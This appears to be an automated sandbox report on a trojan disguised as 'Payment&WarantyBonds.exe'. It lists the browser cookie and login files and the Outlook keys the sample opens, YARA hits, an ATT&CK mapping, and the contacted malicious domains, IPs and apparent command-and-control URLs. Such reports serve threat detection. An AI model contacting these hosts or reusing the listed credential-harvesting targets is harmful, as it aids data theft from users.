Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\CALISTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\SCHLBKI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\SCHLBKBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\CENTAUR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\CENTURY.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\CHILLER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\COLONNA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\COOPBL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\COPRGTB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\CURLZ___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\ELEPHNTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\ENGR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\ERASDEMI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\ERASBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\GARA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\GARAIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\GARABD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\GOTHICB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\GOTHICBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\GOUDYSTO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\HARNGTON.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\HATTEN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\LBRITED.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\LSANS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\ONYX.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\PLAYBILL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\ROCK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\TCM_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\WINGDNG2.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\flat_officeFontsPreview.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Stealing of Sensitive Information

Tries to harvest and steal browser information (history, passwords, etc)

Source: Yara match	File source: 2.2.Payment&WarantyBonds.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.Payment&WarantyBonds.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.4148413603.0000000000B70000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2063986251.0000000001740000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.4148359872.0000000000B20000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.4147225829.0000000000550000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2062501078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.4150364860.0000000004A70000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4148377228.0000000002EC0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2064136057.00000000021E0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\systeminfo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\systeminfo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\systeminfo.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\systeminfo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\systeminfo.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\systeminfo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\systeminfo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\systeminfo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\systeminfo.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\

Remote Access Functionality

Source: Yara match	File source: 2.2.Payment&WarantyBonds.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.Payment&WarantyBonds.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.4148413603.0000000000B70000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2063986251.0000000001740000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.4148359872.0000000000B20000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.4147225829.0000000000550000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2062501078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.4150364860.0000000004A70000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4148377228.0000000002EC0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2064136057.00000000021E0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 DLL Side-Loading	412 Process Injection	1 Masquerading	1 OS Credential Dumping	121 Security Software Discovery	Remote Services	1 Email Collection	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Abuse Elevation Control Mechanism	1 Disable or Modify Tools	LSASS Memory	2 Process Discovery	Remote Desktop Protocol	1 Archive Collected Data	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	41 Virtualization/Sandbox Evasion	Security Account Manager	41 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	1 Data from Local System	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	412 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Abuse Elevation Control Mechanism	Cached Domain Credentials	114 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	4 Obfuscated Files or Information	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	12 Software Packing	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 DLL Side-Loading	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Payment&WarantyBonds.exe	24%	ReversingLabs	Win32.Trojan.Sonbokli
Payment&WarantyBonds.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
http://www.fontbureau.com/designersG	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
http://www.fontbureau.com/designers/?	0%	URL Reputation	safe
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://www.fontbureau.com/designers?	0%	URL Reputation	safe
http://www.tiro.com	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
http://www.fontbureau.com/designers	0%	URL Reputation	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.fonts.com	0%	URL Reputation	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://www.sakkal.com	0%	URL Reputation	safe
http://www.fontbureau.com	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
http://www.fontbureau.com/designers/cabarga.htmlN	0%	URL Reputation	safe
http://www.founder.com.cn/cn	0%	URL Reputation	safe
http://www.fontbureau.com/designers/frere-user.html	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/	0%	URL Reputation	safe
http://www.fontbureau.com/designers8	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
www.cotti.club	103.120.80.111	true	true	unknown
www.sgland06.online	34.92.128.59	true	false	unknown
solarand.online	217.160.0.60	true	true	unknown
www.simplek.top	203.161.49.193	true	true	unknown
extrime1.shop	152.42.255.48	true	true	unknown
www.cesach.net	217.76.156.252	true	true	unknown
basicreviews.online	144.76.190.39	true	true	unknown
www.091210.xyz	172.67.154.67	true	true	unknown
www.adsa6c.top	20.2.249.7	true	true	unknown
www.297676.com	199.59.243.227	true	true	unknown
www.xipowerplay.xyz	13.248.169.48	true	true	unknown
www.030002059.xyz	161.97.142.144	true	true	unknown
iampinky.info	3.33.130.190	true	true	unknown
stationseek.online	198.251.84.200	true	true	unknown
www.solarand.online	unknown	unknown	false	unknown
www.extrime1.shop	unknown	unknown	false	unknown
www.stationseek.online	unknown	unknown	false	unknown
www.iampinky.info	unknown	unknown	false	unknown
www.basicreviews.online	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Reputation
http://www.030002059.xyz/2sun/?ZT=HFv57CWzV4D1L9ubGrUw/N+LZZ6BniYLjcS4cRbGENzhA3BKZjtgqnC6wzdpxcsL4M445YXmdmOqKzt/9+uXSXCfKbs+tX0lmfcjUf3N9oWc/wvfMeYS2jQ=&mTkD=Gj2Ti2T0g4	true	unknown
http://www.extrime1.shop/jr4j/	true	unknown
http://www.xipowerplay.xyz/akxn/	true	unknown
http://www.xipowerplay.xyz/akxn/?ZT=bVCpbCQOZK8RJSSOpbtjW6178FykoGhXFODVqYypnT+nS+pakzyDZ3G2gJzbbKB5bmDBooJSbxoFgw5n88RQ4gN+spy4B3V2SPR8yfMM1NLM4EIxe0ofqks=&mTkD=Gj2Ti2T0g4	true	unknown
http://www.091210.xyz/jwed/	true	unknown
http://www.adsa6c.top/wr26/	true	unknown
http://www.cotti.club/3ej6/?ZT=Gf4n60vPMxeL0A+d5GBWdueSYaV7AAF6sYlT7O2otcMNGwtil4ITBlU9iT/EVO+vtwlhWFB1C/mfTw8URcWhMQgTObTwj1m/ib0JAzzbicsZX3cTLGstzzo=&mTkD=Gj2Ti2T0g4	true	unknown
http://www.sgland06.online/33ib/?ZT=AYOfApeu9cghctp2i/KTSy5LkW4tz9x7+arej5d+r0NkQieZykYOddwLhoh5ni50J8Z5WiAS8Adn1ZwJ2laV/jmSd394ohUQohZCg1IJ+kicD56x/bghldI=&mTkD=Gj2Ti2T0g4	false	unknown
http://www.cotti.club/3ej6/	true	unknown
http://www.030002059.xyz/2sun/	true	unknown
http://www.cesach.net/dma3/?mTkD=Gj2Ti2T0g4&ZT=IhPPRAmDChEnx8G5Mk3wYKJVvliqClSy7lT3/i9hniKwN2WP3nmtzIAyaYX2MoR3jQRU/NaT7iTCvd3O/fPSuEFMVnQWNGAOAVxjgpJaGw2AUh+P10Czoew=	true	unknown
http://www.basicreviews.online/3xn5/	true	unknown
http://www.solarand.online/diem/?mTkD=Gj2Ti2T0g4&ZT=6kQoSQEqBTKFeIgPWItcwMtJ6+nSmUORx6o6L7StlLAM0wJa+kMHFj5rDbCqKJO5phAeVuacSteB2VMr/yCaTx+wFCn7HbSrd9uZdvfw4QtNwXqKd1ZsMRg=	true	unknown
http://www.091210.xyz/jwed/?ZT=BP+RnxL4kRmCbJis2H94uci3abF0xOX/uWRdW7IS0nQn3eBqrLGhokpRAgB0njlljCrnZN3jlOJi4UAaeIXlep/T+OgRPR3ifAipJWCHkORcjZ0KtUFfU2c=&mTkD=Gj2Ti2T0g4	true	unknown
http://www.297676.com/xyex/	true	unknown
http://www.iampinky.info/nhtq/?ZT=0+mU6fX4mGgH3aI4KvnZ0Dnt9NN9uhfQ4WQLoO9YJQq1rLkiV3mWe/ShpiWb6GRwN8XKSHyyPlz1ODC2MK0vYsx4EzdsG0j0QesGBnWjRvygBOdKdkC21k4=&mTkD=Gj2Ti2T0g4	true	unknown
http://www.solarand.online/diem/	true	unknown
http://www.sgland06.online/33ib/	false	unknown
http://www.basicreviews.online/3xn5/?ZT=hLX784qEA4n55Q1oGw1olOPE1jv2cb5vRwpnfGUpuE0YTY8y9L6/CN63cm0behm+qDJgSuJj8e8DxEJz6zH1lBsEYFc4WGfLLcwXK2bqtXGi64JZ82gh2/U=&mTkD=Gj2Ti2T0g4	true	unknown
http://www.adsa6c.top/wr26/?ZT=8UnATjvfTpQ77jvixFCgWVUX2yh4jGZbjC17bXoElnpRCxInjgnE/2IqsqXHODoNl6OiDfBQBXM7D7XvNANc8/XGVjRwEyGKTULZaqlRQkXooaUfX5GSz0A=&mTkD=Gj2Ti2T0g4	true	unknown
http://www.stationseek.online/wd23/	true	unknown
http://www.297676.com/xyex/?ZT=GRv8gXQeeb2Gl8ts68dy26JEIDOFTPQDU1Y3CPEivIL54q3aRuVfXNser16Tn8T/OBl4IICKxXKXWQiZ2Uzn7HwRtVNzQ2FbKXtno3vR39Y/zqEhWKkV0ww=&mTkD=Gj2Ti2T0g4	true	unknown
http://www.stationseek.online/wd23/?ZT=hRp9+v2en7tRz1flyqG17kFmttLc1zOskyKd0ztIjTxyYqd810hmijNQE9yj6BxK05vUksKTuuJXofOYLi9PR6uwuESMYbomdUS7hY3ZEsqPIlhTOHkKZSQ=&mTkD=Gj2Ti2T0g4	true	unknown
http://www.cesach.net/dma3/	true	unknown
http://www.simplek.top/ep69/?ZT=1FIMhSJhU8+lHAAmrS+FlWYlLXz7aIiZYVZCfaZw4D7e7Ym+VFULEmTMy/HAB+T+rsRxHszMTzww+hC5XQWyLoZ+L/5l/vKoQeg/i8EmIWt3MnVCcXzM6O0=&mTkD=Gj2Ti2T0g4	true	unknown
http://www.simplek.top/ep69/	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	systeminfo.exe, 00000007.00000002.4151114745.00000000078B8000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designersG	Payment&WarantyBonds.exe, 00000000.00000002.1750694598.0000000006BB2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	systeminfo.exe, 00000007.00000002.4151114745.00000000078B8000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers/?	Payment&WarantyBonds.exe, 00000000.00000002.1750694598.0000000006BB2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.founder.com.cn/cn/bThe	Payment&WarantyBonds.exe, 00000000.00000002.1750694598.0000000006BB2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://piensasolutions.com/css/parking2.css	systeminfo.exe, 00000007.00000002.4149067807.00000000060F8000.00000004.10000000.00040000.00000000.sdmp, oDnyHukDVUZk.exe, 00000008.00000002.4148454215.00000000039D8000.00000004.00000001.00040000.00000000.sdmp	false		unknown
http://www.fontbureau.com/designers?	Payment&WarantyBonds.exe, 00000000.00000002.1750694598.0000000006BB2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.west.cn/services/mail/	systeminfo.exe, 00000007.00000002.4150949460.0000000007590000.00000004.00000800.00020000.00000000.sdmp, systeminfo.exe, 00000007.00000002.4149067807.00000000052D6000.00000004.10000000.00040000.00000000.sdmp, oDnyHukDVUZk.exe, 00000008.00000002.4148454215.0000000002BB6000.00000004.00000001.00040000.00000000.sdmp	false		unknown
http://www.tiro.com	Payment&WarantyBonds.exe, 00000000.00000002.1750694598.0000000006BB2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://piensasolutions.com/imgs/parking/icon-desplegar.jpg	systeminfo.exe, 00000007.00000002.4149067807.00000000060F8000.00000004.10000000.00040000.00000000.sdmp, oDnyHukDVUZk.exe, 00000008.00000002.4148454215.00000000039D8000.00000004.00000001.00040000.00000000.sdmp	false		unknown
http://www.stationseek.online/wd23?ZT=hRp9	systeminfo.exe, 00000007.00000002.4149067807.000000000591E000.00000004.10000000.00040000.00000000.sdmp, oDnyHukDVUZk.exe, 00000008.00000002.4148454215.00000000031FE000.00000004.00000001.00040000.00000000.sdmp	false		unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	systeminfo.exe, 00000007.00000002.4151114745.00000000078B8000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers	Payment&WarantyBonds.exe, 00000000.00000002.1750694598.0000000006BB2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.goodfont.co.kr	Payment&WarantyBonds.exe, 00000000.00000002.1750694598.0000000006BB2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.piensasolutions.com/ssl?utm_source=parking&utm_medium=link&utm_campaign=correo	systeminfo.exe, 00000007.00000002.4149067807.00000000060F8000.00000004.10000000.00040000.00000000.sdmp, oDnyHukDVUZk.exe, 00000008.00000002.4148454215.00000000039D8000.00000004.00000001.00040000.00000000.sdmp	false		unknown
https://www.piensasolutions.com/certificado-ssl?utm_source=parking&utm_medium=link&utm_campa	systeminfo.exe, 00000007.00000002.4149067807.00000000060F8000.00000004.10000000.00040000.00000000.sdmp, oDnyHukDVUZk.exe, 00000008.00000002.4148454215.00000000039D8000.00000004.00000001.00040000.00000000.sdmp	false		unknown
http://www.sajatypeworks.com	Payment&WarantyBonds.exe, 00000000.00000002.1750694598.0000000006BB2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.typography.netD	Payment&WarantyBonds.exe, 00000000.00000002.1750694598.0000000006BB2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com	systeminfo.exe, 00000007.00000002.4150949460.0000000007590000.00000004.00000800.00020000.00000000.sdmp, systeminfo.exe, 00000007.00000002.4149067807.0000000005F66000.00000004.10000000.00040000.00000000.sdmp, oDnyHukDVUZk.exe, 00000008.00000002.4148454215.0000000003846000.00000004.00000001.00040000.00000000.sdmp	false		unknown
http://www.founder.com.cn/cn/cThe	Payment&WarantyBonds.exe, 00000000.00000002.1750694598.0000000006BB2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.galapagosdesign.com/staff/dennis.htm	Payment&WarantyBonds.exe, 00000000.00000002.1750694598.0000000006BB2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://domshow.vhostgo.com/template/img/paimai/banner_jiaoyi.jpg)	systeminfo.exe, 00000007.00000002.4149067807.00000000052D6000.00000004.10000000.00040000.00000000.sdmp, oDnyHukDVUZk.exe, 00000008.00000002.4148454215.0000000002BB6000.00000004.00000001.00040000.00000000.sdmp	false		unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	systeminfo.exe, 00000007.00000002.4151114745.00000000078B8000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.galapagosdesign.com/DPlease	Payment&WarantyBonds.exe, 00000000.00000002.1750694598.0000000006BB2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://hm.baidu.com/hm.js?352bf0fb165ca7ab634d3cea879c7a72	systeminfo.exe, 00000007.00000002.4150949460.0000000007590000.00000004.00000800.00020000.00000000.sdmp, systeminfo.exe, 00000007.00000002.4149067807.00000000052D6000.00000004.10000000.00040000.00000000.sdmp, oDnyHukDVUZk.exe, 00000008.00000002.4148454215.0000000002BB6000.00000004.00000001.00040000.00000000.sdmp	false		unknown
https://www.west.cn/cloudhost/	systeminfo.exe, 00000007.00000002.4150949460.0000000007590000.00000004.00000800.00020000.00000000.sdmp, systeminfo.exe, 00000007.00000002.4149067807.00000000052D6000.00000004.10000000.00040000.00000000.sdmp, oDnyHukDVUZk.exe, 00000008.00000002.4148454215.0000000002BB6000.00000004.00000001.00040000.00000000.sdmp	false		unknown
https://www.west.cn/ykj/view.asp?domain=cotti.club	systeminfo.exe, 00000007.00000002.4150949460.0000000007590000.00000004.00000800.00020000.00000000.sdmp, systeminfo.exe, 00000007.00000002.4149067807.00000000052D6000.00000004.10000000.00040000.00000000.sdmp, oDnyHukDVUZk.exe, 00000008.00000002.4148454215.0000000002BB6000.00000004.00000001.00040000.00000000.sdmp	false		unknown
http://www.fonts.com	Payment&WarantyBonds.exe, 00000000.00000002.1750694598.0000000006BB2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.sandoll.co.kr	Payment&WarantyBonds.exe, 00000000.00000002.1750694598.0000000006BB2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.urwpp.deDPlease	Payment&WarantyBonds.exe, 00000000.00000002.1750694598.0000000006BB2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.zhongyicts.com.cn	Payment&WarantyBonds.exe, 00000000.00000002.1750694598.0000000006BB2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.piensasolutions.com?utm_source=parking&utm_medium=link&utm_campaign=piensa	systeminfo.exe, 00000007.00000002.4149067807.00000000060F8000.00000004.10000000.00040000.00000000.sdmp, oDnyHukDVUZk.exe, 00000008.00000002.4148454215.00000000039D8000.00000004.00000001.00040000.00000000.sdmp	false		unknown
http://www.sakkal.com	Payment&WarantyBonds.exe, 00000000.00000002.1750694598.0000000006BB2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.piensasolutions.com/crear-web?utm_source=parking&utm_medium=link&utm_campaign=we	systeminfo.exe, 00000007.00000002.4149067807.00000000060F8000.00000004.10000000.00040000.00000000.sdmp, oDnyHukDVUZk.exe, 00000008.00000002.4148454215.00000000039D8000.00000004.00000001.00040000.00000000.sdmp	false		unknown
https://shop.piensasolutions.com/search-ajax.php?utm_source=parking&utm_medium=link&utm_camp	systeminfo.exe, 00000007.00000002.4149067807.00000000060F8000.00000004.10000000.00040000.00000000.sdmp, oDnyHukDVUZk.exe, 00000008.00000002.4148454215.00000000039D8000.00000004.00000001.00040000.00000000.sdmp	false		unknown
http://www.extrime1.shop	oDnyHukDVUZk.exe, 00000008.00000002.4150364860.0000000004AD4000.00000040.80000000.00040000.00000000.sdmp	false		unknown
https://www.strato.de	oDnyHukDVUZk.exe, 00000008.00000002.4148454215.0000000002D48000.00000004.00000001.00040000.00000000.sdmp	false		unknown
http://www.apache.org/licenses/LICENSE-2.0	Payment&WarantyBonds.exe, 00000000.00000002.1750694598.0000000006BB2000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://www.fontbureau.com	Payment&WarantyBonds.exe, 00000000.00000002.1750694598.0000000006BB2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://piensasolutions.com/imgs/parking/icon-ssl-parking.png	systeminfo.exe, 00000007.00000002.4149067807.00000000060F8000.00000004.10000000.00040000.00000000.sdmp, oDnyHukDVUZk.exe, 00000008.00000002.4148454215.00000000039D8000.00000004.00000001.00040000.00000000.sdmp	false		unknown
https://www.west.cn/services/webhosting/	systeminfo.exe, 00000007.00000002.4150949460.0000000007590000.00000004.00000800.00020000.00000000.sdmp, systeminfo.exe, 00000007.00000002.4149067807.00000000052D6000.00000004.10000000.00040000.00000000.sdmp, oDnyHukDVUZk.exe, 00000008.00000002.4148454215.0000000002BB6000.00000004.00000001.00040000.00000000.sdmp	false		unknown
http://www.basicreviews.online/cgi-sys/suspendedpage.cgi?ZT=hLX784qEA4n55Q1oGw1olOPE1jv2cb5vRwpnfGUp	systeminfo.exe, 00000007.00000002.4149067807.000000000628A000.00000004.10000000.00040000.00000000.sdmp, oDnyHukDVUZk.exe, 00000008.00000002.4148454215.0000000003B6A000.00000004.00000001.00040000.00000000.sdmp	false		unknown
